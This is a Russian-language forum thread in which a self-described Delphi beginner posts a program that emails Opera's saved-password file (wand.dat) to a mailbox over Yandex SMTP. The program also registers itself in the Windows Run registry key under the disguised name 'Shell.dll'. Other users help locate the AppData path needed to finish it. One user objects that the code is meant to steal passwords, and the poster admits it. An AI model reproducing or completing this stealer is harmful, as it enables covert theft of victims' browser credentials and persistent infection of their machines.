Как указать путь для отправки файла на мыло

[Chicker]

Привет уважаемый форум и его участники. Нужна такая помощь не могу указать путь до C:\Documents and Settings\User name\Application Data\opera\opera\wand.dat
ведь у всех имя пользователя разные (((Как это сделать вот код)

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
  IdMessage, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
  StdCtrls, Registry;

type
  TForm1 = class(TForm)
    IdSMTP1: TIdSMTP;
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var reg: tregistry;


begin
idSmtp1.host:='smtp.yandex.ru';
idSmtp1.port:=25;
idSmtp1.Username:='Логин';
idSmtp1.password:='Пароль';
idMessage1.Body.Text:='Ура пароли :)';
idMessage1.From.Text:='От кого';
idMessage1.Recipients.EMailAddresses:='Кому';
idMessage1.Subject:='Password';
TIdAttachment.Create(idMessage1.MessageParts,'Путь');
idSmtp1.connect();
If idSmtp1.connected=True then
idSmtp1.Send(idMessage1);
idSmtp1.Disconnect;
reg := tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('Shell.dll', application.exename);
reg.closekey;
reg.free;
end;

end.

Зарание спасибо ) Для информации я нуб в delphi)

[FaTaL]

Например вот этой функцией

uses
  ShlObj;
........
function GetUserAppDataDir : string;
var
  c   : array [0..MAX_PATH] of char;
  dir : string;
begin
  SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, c);
  dir := c;
  result := dir + '\';
end;

[Человек_Борща]

Можно проще:

var
 s:string;
begin
  s:=GetEnviromentVariable('appdata');

[Chicker]

Ребят подскажите где взять эти функции а то я в стандартных не нахожу. Спасибо за вашу помощь !!!

[Serge_Bliznykov]

в Delphi 2006 так получилось скомпилировать:

uses ShFolder;

{$R *.dfm}

function GetUserAppDataDir : string;
var
  c   : array [0..MAX_PATH] of char;
  dir : string;
begin
  SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, c);
  dir := c;
  result := dir + '\';
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
  Edit1.Text := GetUserAppDataDir;
end;

[Chicker]

Сообщение от Serge_Bliznykov

в Delphi 2006 так получилось скомпилировать:

uses ShFolder;

{$R *.dfm}

function GetUserAppDataDir : string;
var
  c   : array [0..MAX_PATH] of char;
  dir : string;
begin
  SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, c);
  dir := c;
  result := dir + '\';
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
  Edit1.Text := GetUserAppDataDir;
end;

SHGetFolderPath где взять эту функцию ???
Спасибо за код

[FaTaL]

Как это где? Это функция Windows находиться в библиотеке Shell32.dll вот http://msdn.microsoft.com/en-us/libr...=vs.85%29.aspx
В Delphi XE3 она есть в модуле ShlObj, в Delphi 7 в SHFolder, как подсказал Сергей. Сам просто давно таким древним мамонтом как Delphi 7 не пользуюсь.

Хотя если программа пишеться не только для ХР, но и для Висты и 7, то не стоит использовать функции из библиотеки SHFolder, лучше использовать из ShlObj, но в Delphi 7 она выглядит вот так SHGetSpecialFolderPath.

З.Ы. Лучше всегда пишите на последних версиях среды разработки.

[Chicker]

Всем спасиб огромное но как именно употребить в коде ???Что бы путь был указан заранее что бы файл отправлялся ???Код на верху ???

[BDA]

Хаха. Мне вообще не понятно, почему стали помогать Код явно предназначен для того, чтобы воровать пароли. Подумайте чуть-чуть и сможете допилить, а то вообще не "кулцхакер".

[Chicker]

Этого не кто и не скрывал)